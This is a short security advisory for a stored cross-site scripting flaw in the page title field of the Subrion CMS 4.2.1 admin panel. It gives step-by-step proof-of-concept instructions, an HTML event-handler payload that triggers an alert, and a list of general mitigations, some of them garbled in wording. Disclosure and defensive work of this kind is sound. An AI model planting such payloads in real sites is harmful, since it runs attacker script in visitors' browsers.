Subrion CMS 4.2.1 - Stored Cross-Site Scripting

Introduction:

Vulnerable Directory(s):

[+] /_core/admin/pages/add/

Vulnerable Parameter(s):

[+] titles%5Ben%5D=

Proof of Concept (PoC):
========================
Cross-Site Scripting, also known as XSS, is one of the most common attacks carried out in web applications.
The concept of XSS is to manipulate the client-side scripts of a web application to perform actions planned by a malicious user.

1)Log in to the admin panel, click "content"
2)Pages>Add Page
3)Put the payload <img src=axa onerror=alert(1)> in "Title"
4)When you visit the page you've created, you'll always see the script

[+] <img src=axa onerror=alert(1)>

Solution
=========
For a prevention of Cross Site Scripting, some measures should be considered:
Never enter untrusted data except in locations defined for this purpose.
The principle of this rule is to deny everything and mostly do not JavaScript code from an unknown source and then run it.
Validate the escape characters before inserting them inside the HTML element. Failure to validate inputs may allow malicious code to be injected into the application.
Validate URL parameters and check information that sends our HTTP requests, hex escapes us in URLs such as% 25, aawhere 25 is the ASCII code of the character "%".
Avoid HTML injection attacks by resorting to libraries that parse the inserted HTML such as: HtmlSanitizer, OWASP Java HTML Sanitizer.
Another recommendation to mitigate such security flaws in a web application is an application of a Web Application Firewall (WAF) such as ModSecurity, Ironbee and others.
